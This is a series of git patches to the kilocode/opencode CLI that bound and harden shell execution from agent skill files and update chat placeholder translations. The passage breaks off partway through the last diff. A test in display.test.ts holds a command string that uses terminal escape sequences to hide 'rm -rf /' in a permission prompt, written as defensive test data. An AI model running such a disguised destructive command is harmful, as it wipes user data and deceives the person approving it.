"EventVcsBranchUpdated": { "type": "object", "properties": { @@ -39895,6 +39915,24 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventLspUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["lsp.updated"] + }, + "properties": { + "type": "object", + "properties": {} + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventWorkspaceReady": { "type": "object", "properties": { From 2d8377894dae4382fe8b624dce2466b8c5d10c77 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 12:36:27 +0200 Subject: [PATCH 032/100] fix(cli): bound skill shell execution (cwd, abort, timeout, output cap) --- .../opencode/src/kilocode/skills/inject.ts | 45 ++++++++++++++----- packages/opencode/src/tool/skill.ts | 3 -- .../test/kilocode/skills/inject.test.ts | 32 ++++++++++++- 3 files changed, 65 insertions(+), 15 deletions(-) diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index 4bdf6afe58..4c5d8f9846 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -1,8 +1,6 @@ import { Effect } from "effect" -import { ChildProcessSpawner } from "effect/unstable/process/ChildProcessSpawner" -import type { ChildProcessSpawner as Spawner } from "effect/unstable/process/ChildProcessSpawner" import { ConfigMarkdown } from "@/config/markdown" -import { CommandTimeout } from "@/kilocode/command-timeout" +import { Process } from "@/util/process" import { Shell } from "@opencode-ai/core/shell" import type * as Tool from "@/tool/tool" @@ -30,6 +28,12 @@ import type * as Tool from "@/tool/tool" const DISABLED_NOTE = "[skill shell execution disabled by policy]" const UNTRUSTED_NOTE = "[skill shell execution disabled for untrusted skill]" +// Execution bounds: model-initiated commands must not hang the load, blow up +// context, or overrun the batch. +const TIMEOUT_MS = 2 * 60 * 1000 +const MAX_OUTPUT_BYTES = 32 * 1024 +const MAX_COMMANDS = 32 + export namespace SkillInject { export type Decompose = (input: { command: string @@ -43,7 +47,6 @@ export namespace SkillInject { disabled: boolean cwd: string ctx: Tool.Context - spawner: Spawner["Service"] decompose: Decompose } @@ -56,8 +59,9 @@ export namespace SkillInject { if (!opts.trusted) return replace(opts.content, () => UNTRUSTED_NOTE) const shell = Shell.preferred() - // Deduplicate identical commands so the batch lists and runs each once. - const commands = Array.from(new Set(matches.map(([, cmd]) => cmd))) + // Deduplicate identical commands, then cap the batch so a skill can't queue + // an unbounded number of processes. + const commands = Array.from(new Set(matches.map(([, cmd]) => cmd))).slice(0, MAX_COMMANDS) // Decompose each command into sub-command patterns + out-of-project dir globs // via the shared bash scan, so plan-mode denies and external_directory checks @@ -88,17 +92,38 @@ export namespace SkillInject { metadata: { skillShell: true }, }) + // Run each command in the instance directory, bounded by ctx.abort (ESC) and a + // timeout, with output truncated so it can't blow up or poison the prompt. const outputs = new Map() for (const command of commands) { - outputs.set( - command, - yield* CommandTimeout.text(command, shell).pipe(Effect.provideService(ChildProcessSpawner, opts.spawner)), - ) + outputs.set(command, yield* run(command, shell, opts.cwd, opts.ctx.abort)) } return replace(opts.content, (command) => outputs.get(command) ?? "") }) + const run = Effect.fn("SkillInject.run")(function* (command: string, shell: string, cwd: string, abort: AbortSignal) { + const result = yield* Effect.promise(async () => { + // A cleared timer bounds the run without leaking a pending 2-minute timeout + // per command; ESC (ctx.abort) still kills the child via the same signal. + const controller = new AbortController() + const signal = AbortSignal.any([abort, controller.signal]) + const timer = setTimeout(() => controller.abort(), TIMEOUT_MS) + try { + return await Process.text([command], { shell, cwd, abort: signal, nothrow: true }).catch(() => undefined) + } finally { + clearTimeout(timer) + } + }) + if (!result) return abort.aborted ? "[skill shell command aborted]" : "[skill shell command timed out]" + return truncate(result.text) + }) + + function truncate(text: string) { + if (Buffer.byteLength(text) <= MAX_OUTPUT_BYTES) return text + return text.slice(0, MAX_OUTPUT_BYTES) + "\n[skill shell output truncated]" + } + // Replace only the exact matches found in the ORIGINAL content. Never re-scan // the result, so inlined output containing `!`cmd`` stays inert. function replace(content: string, value: (command: string) => string) { diff --git a/packages/opencode/src/tool/skill.ts b/packages/opencode/src/tool/skill.ts index ef2b9b8f54..06e1bf93b3 100644 --- a/packages/opencode/src/tool/skill.ts +++ b/packages/opencode/src/tool/skill.ts @@ -6,7 +6,6 @@ import { Skill } from "../skill" import * as Tool from "./tool" import DESCRIPTION from "./skill.txt" // kilocode_change start - gate + run shell injection in skill bodies -import { ChildProcessSpawner } from "effect/unstable/process/ChildProcessSpawner" import { InstanceState } from "@/effect/instance-state" import { RuntimeFlags } from "@/effect/runtime-flags" import { ShellPermission } from "./shell" @@ -23,7 +22,6 @@ export const SkillTool = Tool.define( const skill = yield* Skill.Service const ripgrep = yield* Ripgrep.Service const flags = yield* RuntimeFlags.Service // kilocode_change - const spawner = yield* ChildProcessSpawner // kilocode_change const permission = yield* ShellPermission // kilocode_change - decompose skill commands like the bash tool return { @@ -49,7 +47,6 @@ export const SkillTool = Tool.define( disabled: flags.disableSkillShell, cwd: yield* InstanceState.directory, ctx, - spawner, decompose: permission.decompose, }) // kilocode_change end diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index f334bfe5ef..b0b9e00f7f 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -102,6 +102,18 @@ describe("skill shell injection", () => { }), ) + unix("runs commands in the instance directory", () => + Effect.gen(function* () { + const dir = (yield* TestInstance).directory + yield* writeGlobalSkill("cwd-shell", "Here: !`pwd`") + + const result = yield* loadSkill("cwd-shell", () => Effect.void) + + // pwd resolves to the instance dir (realpath), not the server process cwd + expect(result.output).toContain(path.basename(dir)) + }), + ) + unix("decomposes a compound command into per-sub-command patterns", () => Effect.gen(function* () { // A single placeholder with a chained command must not be asked as one glob @@ -174,6 +186,24 @@ describe("skill shell injection", () => { expect(result.output).not.toMatch(/Out:\s*pwned\s*$/m) }), ) + + unix("truncates oversized command output before inlining", () => + Effect.gen(function* () { + const dir = (yield* TestInstance).directory + // render directly (bypassing the tool's own output truncation) to assert the injector caps output + const rendered = yield* SkillInject.render({ + content: "Out: !`yes x | head -c 65536`", + trusted: true, + disabled: false, + cwd: dir, + ctx: { ...baseCtx, ask: () => Effect.void } as Tool.Context, + decompose: ({ command }) => Effect.succeed({ patterns: [command], dirs: [] }), + }) + + expect(rendered).toContain("[skill shell output truncated]") + expect(rendered.length).toBeLessThan(40000) + }), + ) }) // The disabled (kill-switch) and untrusted branches must short-circuit before @@ -183,7 +213,6 @@ describe("SkillInject.render gating", () => { const boom = () => { throw new Error("must not be reached") } - const spawner = new Proxy({}, { get: boom }) as any const ctx = { ...baseCtx, ask: () => Effect.sync(boom) } as Tool.Context const decompose = (() => Effect.sync(boom)) as unknown as SkillInject.Decompose @@ -195,7 +224,6 @@ describe("SkillInject.render gating", () => { disabled: opts.disabled, cwd: "/tmp", ctx, - spawner, decompose, }), ) From 8f4725729e1be1cdb46a5ad2a7690d343e12bdf5 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 12:53:01 +0200 Subject: [PATCH 033/100] fix(cli): harden skill shell permission prompt display --- packages/opencode/src/kilocode/skills/display.ts | 11 +++++++++++ packages/opencode/src/kilocode/skills/inject.ts | 5 +++-- packages/opencode/src/tool/skill.ts | 1 + .../opencode/test/kilocode/skills/display.test.ts | 15 +++++++++++++++ .../opencode/test/kilocode/skills/inject.test.ts | 2 ++ packages/tui/src/routes/session/permission.tsx | 9 ++++++--- 6 files changed, 38 insertions(+), 5 deletions(-) create mode 100644 packages/opencode/src/kilocode/skills/display.ts create mode 100644 packages/opencode/test/kilocode/skills/display.test.ts diff --git a/packages/opencode/src/kilocode/skills/display.ts b/packages/opencode/src/kilocode/skills/display.ts new file mode 100644 index 0000000000..93e8ac44f2 --- /dev/null +++ b/packages/opencode/src/kilocode/skills/display.ts @@ -0,0 +1,11 @@ +// Render a skill command for a permission prompt as a single, tamper-evident +// line: escape control chars (CR/LF/ESC/etc.) so a command can't repaint the +// terminal to make the visible text differ from what will execute. +export function displayCommand(command: string) { + return command.replace(/[\u0000-\u001f\u007f-\u009f]/g, (ch) => { + if (ch === "\n") return "\\n" + if (ch === "\r") return "\\r" + if (ch === "\t") return "\\t" + return "\\x" + ch.charCodeAt(0).toString(16).padStart(2, "0") + }) +} diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index 4c5d8f9846..3c738ad3d6 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -46,6 +46,7 @@ export namespace SkillInject { trusted: boolean disabled: boolean cwd: string + skill: string ctx: Tool.Context decompose: Decompose } @@ -82,14 +83,14 @@ export namespace SkillInject { permission: "external_directory", patterns: Array.from(dirs), always: [], - metadata: { skillShell: true }, + metadata: { skillShell: true, skill: opts.skill }, }) } yield* opts.ctx.ask({ permission: "bash", patterns: Array.from(patterns), always: [], - metadata: { skillShell: true }, + metadata: { skillShell: true, skill: opts.skill }, }) // Run each command in the instance directory, bounded by ctx.abort (ESC) and a diff --git a/packages/opencode/src/tool/skill.ts b/packages/opencode/src/tool/skill.ts index 06e1bf93b3..758696b02a 100644 --- a/packages/opencode/src/tool/skill.ts +++ b/packages/opencode/src/tool/skill.ts @@ -46,6 +46,7 @@ export const SkillTool = Tool.define( trusted: info.trusted === true, disabled: flags.disableSkillShell, cwd: yield* InstanceState.directory, + skill: info.name, ctx, decompose: permission.decompose, }) diff --git a/packages/opencode/test/kilocode/skills/display.test.ts b/packages/opencode/test/kilocode/skills/display.test.ts new file mode 100644 index 0000000000..b7780e5138 --- /dev/null +++ b/packages/opencode/test/kilocode/skills/display.test.ts @@ -0,0 +1,15 @@ +import { describe, expect, it } from "bun:test" +import { displayCommand } from "@/kilocode/skills/display" + +describe("displayCommand", () => { + it("escapes control characters so a command cannot repaint the prompt", () => { + // CR/ESC would otherwise let the visible text differ from what executes + const out = displayCommand("echo ok\r\x1b[2Krm -rf /\nnext") + expect(out).toBe("echo ok\\r\\x1b[2Krm -rf /\\nnext") + expect(out).not.toMatch(/[\u0000-\u001f]/) + }) + + it("leaves ordinary commands unchanged", () => { + expect(displayCommand("git status --short")).toBe("git status --short") + }) +}) diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index b0b9e00f7f..f0e4f7f82e 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -196,6 +196,7 @@ describe("skill shell injection", () => { trusted: true, disabled: false, cwd: dir, + skill: "big-shell", ctx: { ...baseCtx, ask: () => Effect.void } as Tool.Context, decompose: ({ command }) => Effect.succeed({ patterns: [command], dirs: [] }), }) @@ -223,6 +224,7 @@ describe("SkillInject.render gating", () => { trusted: opts.trusted, disabled: opts.disabled, cwd: "/tmp", + skill: "test", ctx, decompose, }), diff --git a/packages/tui/src/routes/session/permission.tsx b/packages/tui/src/routes/session/permission.tsx index 77524ba6ab..6b1b391fca 100644 --- a/packages/tui/src/routes/session/permission.tsx +++ b/packages/tui/src/routes/session/permission.tsx @@ -19,6 +19,7 @@ import { ConfigProtection } from "@/kilocode/permission/config-paths" import { splitDiffHunks } from "@/kilocode/tui/diff" import { normalizeUrls } from "@/kilocode/util/url" import { MemoryPermissionRegistry } from "@/kilocode/cli/cmd/tui/routes/session/memory-permission" +import { displayCommand } from "@/kilocode/skills/display" // kilocode_change end import { KILO_BASE_MODE, useBindings, useCommandShortcut } from "../../keymap" import { usePathFormatter } from "../../context/path-format" @@ -292,15 +293,17 @@ export function PermissionPrompt(props: { request: PermissionRequest; directory? } if (permission === "bash") { - // kilocode_change start - skill shell batches list every command + // kilocode_change start - skill shell batches list every command, control-char-escaped so the + // displayed command cannot repaint the line to differ from what executes if (props.request.metadata?.["skillShell"] === true) { const commands = (props.request.patterns ?? []).filter((p): p is string => typeof p === "string") + const skill = typeof props.request.metadata?.["skill"] === "string" ? props.request.metadata["skill"] : undefined return { icon: "#", - title: "Run these skill commands?", + title: skill ? `Run shell commands from skill "${skill}"?` : "Run these skill commands?", body: ( - {(cmd) => {"$ " + cmd}} + {(cmd) => {"$ " + displayCommand(cmd)}} ), } From 26dac197fe28294c391c8d437abf06e18e2d22bd Mon Sep 17 00:00:00 2001 From: sylwester-liljegren Date: Wed, 29 Jul 2026 12:55:42 +0200 Subject: [PATCH 034/100] feat(i18n): mention @ file references in chat input placeholder (#11984) * feat(i18n): mention @ file references in chat input placeholder * style: run prettier on i18n placeholder translations * fix(i18n): move @ before ellipsis in Turkish placeholder for consistency --------- Co-authored-by: Sylwester Liljegren --- .changeset/prompt-placeholder-mention-hint.md | 5 +++++ packages/kilo-vscode/webview-ui/src/i18n/ar.ts | 2 +- packages/kilo-vscode/webview-ui/src/i18n/br.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/bs.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/da.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/de.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/en.ts | 2 +- packages/kilo-vscode/webview-ui/src/i18n/es.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/fr.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/it.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/ja.ts | 2 +- packages/kilo-vscode/webview-ui/src/i18n/ko.ts | 2 +- packages/kilo-vscode/webview-ui/src/i18n/nl.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/no.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/pl.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/ru.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/th.ts | 2 +- packages/kilo-vscode/webview-ui/src/i18n/tr.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/uk.ts | 3 ++- packages/kilo-vscode/webview-ui/src/i18n/zh.ts | 2 +- packages/kilo-vscode/webview-ui/src/i18n/zht.ts | 2 +- 21 files changed, 38 insertions(+), 20 deletions(-) create mode 100644 .changeset/prompt-placeholder-mention-hint.md diff --git a/.changeset/prompt-placeholder-mention-hint.md b/.changeset/prompt-placeholder-mention-hint.md new file mode 100644 index 0000000000..dc533c1a2e --- /dev/null +++ b/.changeset/prompt-placeholder-mention-hint.md @@ -0,0 +1,5 @@ +--- +"kilo-code": patch +--- + +Mention `@` file references in the chat input placeholder so users know they can add file mentions. Translated across all supported languages. diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ar.ts b/packages/kilo-vscode/webview-ui/src/i18n/ar.ts index 7060ab1619..bc448d821e 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ar.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ar.ts @@ -736,7 +736,7 @@ export const dict = { "prompt.placeholder.connecting": "جارٍ الاتصال بالخادم...", "prompt.placeholder.error": "فشل الاتصال. تحقق من لوحة الإخراج أو أعد تشغيل الإضافة.", - "prompt.placeholder.default": "اكتب رسالة... (Enter للإرسال، Shift+Enter لسطر جديد)", + "prompt.placeholder.default": "اكتب رسالة، @ للإشارة إلى الملفات... (Enter للإرسال، Shift+Enter لسطر جديد)", "context.usage.sessionCost": "تكلفة الجلسة", "context.usage.olderSessions": "{{count}} جلسات أقدم", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/br.ts b/packages/kilo-vscode/webview-ui/src/i18n/br.ts index cee0df6bb9..6db946631d 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/br.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/br.ts @@ -754,7 +754,8 @@ export const dict = { "prompt.placeholder.connecting": "Conectando ao servidor...", "prompt.placeholder.error": "Conexão falhou. Verifique o painel de saída ou reinicie a extensão.", - "prompt.placeholder.default": "Digite uma mensagem... (Enter para enviar, Shift+Enter para nova linha)", + "prompt.placeholder.default": + "Digite uma mensagem, @ para mencionar arquivos... (Enter para enviar, Shift+Enter para nova linha)", "context.usage.sessionCost": "Custo da sessão", "context.usage.olderSessions": "{{count}} sessões anteriores", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/bs.ts b/packages/kilo-vscode/webview-ui/src/i18n/bs.ts index b52183b712..8f0484c02d 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/bs.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/bs.ts @@ -754,7 +754,8 @@ export const dict = { "prompt.placeholder.connecting": "Povezivanje na server...", "prompt.placeholder.error": "Povezivanje nije uspjelo. Provjerite panel za izlaz ili ponovo pokrenite ekstenziju.", - "prompt.placeholder.default": "Unesite poruku... (Enter za slanje, Shift+Enter za novi red)", + "prompt.placeholder.default": + "Unesite poruku, @ za spominjanje datoteka... (Enter za slanje, Shift+Enter za novi red)", "context.usage.sessionCost": "Cijena sesije", "context.usage.olderSessions": "{{count}} starijih sesija", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/da.ts b/packages/kilo-vscode/webview-ui/src/i18n/da.ts index 7588115fb6..c2bfa6932b 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/da.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/da.ts @@ -752,7 +752,8 @@ export const dict = { "prompt.placeholder.connecting": "Opretter forbindelse til server...", "prompt.placeholder.error": "Forbindelse mislykkedes. Tjek outputpanelet eller genstart udvidelsen.", - "prompt.placeholder.default": "Skriv en besked... (Enter for at sende, Shift+Enter for ny linje)", + "prompt.placeholder.default": + "Skriv en besked, @ for at nævne filer... (Enter for at sende, Shift+Enter for ny linje)", "context.usage.sessionCost": "Sessionsomkostning", "context.usage.olderSessions": "{{count}} ældre sessioner", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/de.ts b/packages/kilo-vscode/webview-ui/src/i18n/de.ts index 05cabab237..7e1bd48f0c 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/de.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/de.ts @@ -766,7 +766,8 @@ export const dict = { "prompt.placeholder.connecting": "Verbindung zum Server wird hergestellt...", "prompt.placeholder.error": "Verbindung fehlgeschlagen. Überprüfen Sie das Ausgabepanel oder starten Sie die Erweiterung neu.", - "prompt.placeholder.default": "Nachricht eingeben... (Enter zum Senden, Shift+Enter für neue Zeile)", + "prompt.placeholder.default": + "Nachricht eingeben, @ um Dateien zu erwähnen... (Enter zum Senden, Shift+Enter für neue Zeile)", "context.usage.sessionCost": "Sitzungskosten", "context.usage.olderSessions": "{{count}} ältere Sitzungen", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/en.ts b/packages/kilo-vscode/webview-ui/src/i18n/en.ts index 140cc4b3e0..ecdc5500bf 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/en.ts @@ -728,7 +728,7 @@ export const dict = { "dialog.model.noProviders": "No providers", "prompt.placeholder.connecting": "Connecting to server...", - "prompt.placeholder.default": "Type a message... (Enter to send, Shift+Enter for new line)", + "prompt.placeholder.default": "Type a message, @ to mention files... (Enter to send, Shift+Enter for new line)", "prompt.placeholder.error": "Connection failed. Check the output panel or restart the extension.", "context.usage.sessionCost": "Session cost", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/es.ts b/packages/kilo-vscode/webview-ui/src/i18n/es.ts index ec9a24ba85..4eb5fe4255 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/es.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/es.ts @@ -759,7 +759,8 @@ export const dict = { "prompt.placeholder.connecting": "Conectando al servidor...", "prompt.placeholder.error": "Conexión fallida. Revisa el panel de salida o reinicia la extensión.", - "prompt.placeholder.default": "Escribe un mensaje... (Enter para enviar, Shift+Enter para nueva línea)", + "prompt.placeholder.default": + "Escribe un mensaje, @ para mencionar archivos... (Enter para enviar, Shift+Enter para nueva línea)", "context.usage.sessionCost": "Coste de la sesión", "context.usage.olderSessions": "{{count}} sesiones anteriores", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/fr.ts b/packages/kilo-vscode/webview-ui/src/i18n/fr.ts index 8a5ec0d714..de3da09df3 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/fr.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/fr.ts @@ -765,7 +765,8 @@ export const dict = { "prompt.placeholder.connecting": "Connexion au serveur...", "prompt.placeholder.error": "Échec de la connexion. Vérifiez le panneau de sortie ou redémarrez l'extension.", - "prompt.placeholder.default": "Tapez un message... (Entrée pour envoyer, Maj+Entrée pour un saut de ligne)", + "prompt.placeholder.default": + "Tapez un message, @ pour mentionner des fichiers... (Entrée pour envoyer, Maj+Entrée pour un saut de ligne)", "context.usage.sessionCost": "Coût de la session", "context.usage.olderSessions": "{{count}} sessions précédentes", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/it.ts b/packages/kilo-vscode/webview-ui/src/i18n/it.ts index 8b62af14dc..4f78744e77 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/it.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/it.ts @@ -610,7 +610,8 @@ export const dict = { "ui.sessionTurn.status.consideringNextSteps": "Valutazione prossimi passi...", "dialog.model.noProviders": "Nessun provider", "prompt.placeholder.connecting": "Connessione al server...", - "prompt.placeholder.default": "Scrivi un messaggio... (Invio per inviare, Maiusc+Invio per nuova riga)", + "prompt.placeholder.default": + "Scrivi un messaggio, @ per menzionare i file... (Invio per inviare, Maiusc+Invio per nuova riga)", "prompt.placeholder.error": "Connessione non riuscita. Controlla il pannello output o riavvia l'estensione.", "context.usage.sessionCost": "Costo sessione", "context.usage.olderSessions": "{{count}} sessioni precedenti", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ja.ts b/packages/kilo-vscode/webview-ui/src/i18n/ja.ts index 101302fce7..983bc27a35 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ja.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ja.ts @@ -746,7 +746,7 @@ export const dict = { "prompt.placeholder.connecting": "サーバーに接続中...", "prompt.placeholder.error": "接続に失敗しました。出力パネルを確認するか、拡張機能を再起動してください。", - "prompt.placeholder.default": "メッセージを入力... (Enterで送信、Shift+Enterで改行)", + "prompt.placeholder.default": "メッセージを入力、@ でファイルを参照... (Enterで送信、Shift+Enterで改行)", "context.usage.sessionCost": "セッションコスト", "context.usage.olderSessions": "{{count}} 件の古いセッション", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ko.ts b/packages/kilo-vscode/webview-ui/src/i18n/ko.ts index 46cf8910cc..0f3c269a6a 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ko.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ko.ts @@ -746,7 +746,7 @@ export const dict = { "prompt.placeholder.connecting": "서버에 연결 중...", "prompt.placeholder.error": "연결에 실패했습니다. 출력 패널을 확인하거나 확장 프로그램을 다시 시작하세요.", - "prompt.placeholder.default": "메시지를 입력하세요... (Enter로 전송, Shift+Enter로 줄 바꿈)", + "prompt.placeholder.default": "메시지를 입력하세요, @로 파일 언급... (Enter로 전송, Shift+Enter로 줄 바꿈)", "context.usage.sessionCost": "세션 비용", "context.usage.olderSessions": "{{count}}개의 이전 세션", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/nl.ts b/packages/kilo-vscode/webview-ui/src/i18n/nl.ts index a325ae0258..3a7f9f75fe 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/nl.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/nl.ts @@ -743,7 +743,8 @@ export const dict = { "dialog.model.noProviders": "Geen providers", "prompt.placeholder.connecting": "Verbinden met server...", - "prompt.placeholder.default": "Typ een bericht... (Enter om te verzenden, Shift+Enter voor nieuwe regel)", + "prompt.placeholder.default": + "Typ een bericht, @ om bestanden te vermelden... (Enter om te verzenden, Shift+Enter voor nieuwe regel)", "prompt.placeholder.error": "Verbinding mislukt. Controleer het uitvoerpaneel of herstart de extensie.", "context.usage.sessionCost": "Sessiekosten", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/no.ts b/packages/kilo-vscode/webview-ui/src/i18n/no.ts index 2a5564f3aa..37e7266c76 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/no.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/no.ts @@ -714,7 +714,8 @@ export const dict = { "prompt.placeholder.connecting": "Kobler til server...", "prompt.placeholder.error": "Tilkobling mislyktes. Sjekk utdatapanelet eller start utvidelsen på nytt.", - "prompt.placeholder.default": "Skriv en melding... (Enter for å sende, Shift+Enter for ny linje)", + "prompt.placeholder.default": + "Skriv en melding, @ for å nevne filer... (Enter for å sende, Shift+Enter for ny linje)", "context.usage.sessionCost": "Sesjonskostnad", "context.usage.olderSessions": "{{count}} eldre sesjoner", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/pl.ts b/packages/kilo-vscode/webview-ui/src/i18n/pl.ts index 92d6f9d213..4ab4ee01b1 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/pl.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/pl.ts @@ -710,7 +710,8 @@ export const dict = { "prompt.placeholder.connecting": "Łączenie z serwerem...", "prompt.placeholder.error": "Połączenie nie powiodło się. Sprawdź panel wyjściowy lub uruchom ponownie rozszerzenie.", - "prompt.placeholder.default": "Wpisz wiadomość... (Enter, aby wysłać, Shift+Enter dla nowej linii)", + "prompt.placeholder.default": + "Wpisz wiadomość, @ aby wspomnieć pliki... (Enter, aby wysłać, Shift+Enter dla nowej linii)", "context.usage.sessionCost": "Koszt sesji", "context.usage.olderSessions": "{{count}} starszych sesji", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ru.ts b/packages/kilo-vscode/webview-ui/src/i18n/ru.ts index 75fa4a95df..aa5519268c 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ru.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ru.ts @@ -751,7 +751,8 @@ export const dict = { "prompt.placeholder.connecting": "Подключение к серверу...", "prompt.placeholder.error": "Не удалось подключиться. Проверьте панель вывода или перезапустите расширение.", - "prompt.placeholder.default": "Введите сообщение... (Enter для отправки, Shift+Enter для новой строки)", + "prompt.placeholder.default": + "Введите сообщение, @ чтобы упомянуть файлы... (Enter для отправки, Shift+Enter для новой строки)", "context.usage.sessionCost": "Стоимость сессии", "context.usage.olderSessions": "{{count}} предыдущих сессий", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/th.ts b/packages/kilo-vscode/webview-ui/src/i18n/th.ts index 15bd5d8cd1..7b9e4f3e4a 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/th.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/th.ts @@ -743,7 +743,7 @@ export const dict = { "prompt.placeholder.connecting": "กำลังเชื่อมต่อกับเซิร์ฟเวอร์...", "prompt.placeholder.error": "การเชื่อมต่อล้มเหลว ตรวจสอบแผงเอาต์พุตหรือรีสตาร์ทส่วนขยาย", - "prompt.placeholder.default": "พิมพ์ข้อความ... (Enter เพื่อส่ง, Shift+Enter เพื่อขึ้นบรรทัดใหม่)", + "prompt.placeholder.default": "พิมพ์ข้อความ, @ เพื่ออ้างถึงไฟล์... (Enter เพื่อส่ง, Shift+Enter เพื่อขึ้นบรรทัดใหม่)", "context.usage.sessionCost": "ค่าใช้จ่ายเซสชัน", "context.usage.olderSessions": "{{count}} เซสชันก่อนหน้า", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/tr.ts b/packages/kilo-vscode/webview-ui/src/i18n/tr.ts index 5de84088d0..233e43fec9 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/tr.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/tr.ts @@ -737,7 +737,8 @@ export const dict = { "dialog.model.noProviders": "Sağlayıcı yok", "prompt.placeholder.connecting": "Sunucuya bağlanılıyor...", - "prompt.placeholder.default": "Bir mesaj yazın... (Göndermek için Enter, yeni satır için Shift+Enter)", + "prompt.placeholder.default": + "Bir mesaj yazın, dosyaları belirtmek için @ kullanın... (Göndermek için Enter, yeni satır için Shift+Enter)", "prompt.placeholder.error": "Bağlantı başarısız. Çıktı panelini kontrol edin veya uzantıyı yeniden başlatın.", "context.usage.sessionCost": "Oturum maliyeti", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/uk.ts b/packages/kilo-vscode/webview-ui/src/i18n/uk.ts index 585643f81c..b2d8655b2d 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/uk.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/uk.ts @@ -739,7 +739,8 @@ export const dict = { "dialog.model.noProviders": "Немає провайдерів", "prompt.placeholder.connecting": "Підключення до сервера...", - "prompt.placeholder.default": "Напишіть повідомлення... (Enter для надсилання, Shift+Enter для нового рядка)", + "prompt.placeholder.default": + "Напишіть повідомлення, @ щоб згадати файли... (Enter для надсилання, Shift+Enter для нового рядка)", "prompt.placeholder.error": "Підключення не вдалося. Перевірте панель виводу або перезапустіть розширення.", "context.usage.sessionCost": "Вартість сесії", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/zh.ts b/packages/kilo-vscode/webview-ui/src/i18n/zh.ts index 69c4d6617f..2bfc2279e4 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/zh.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/zh.ts @@ -726,7 +726,7 @@ export const dict = { "prompt.placeholder.connecting": 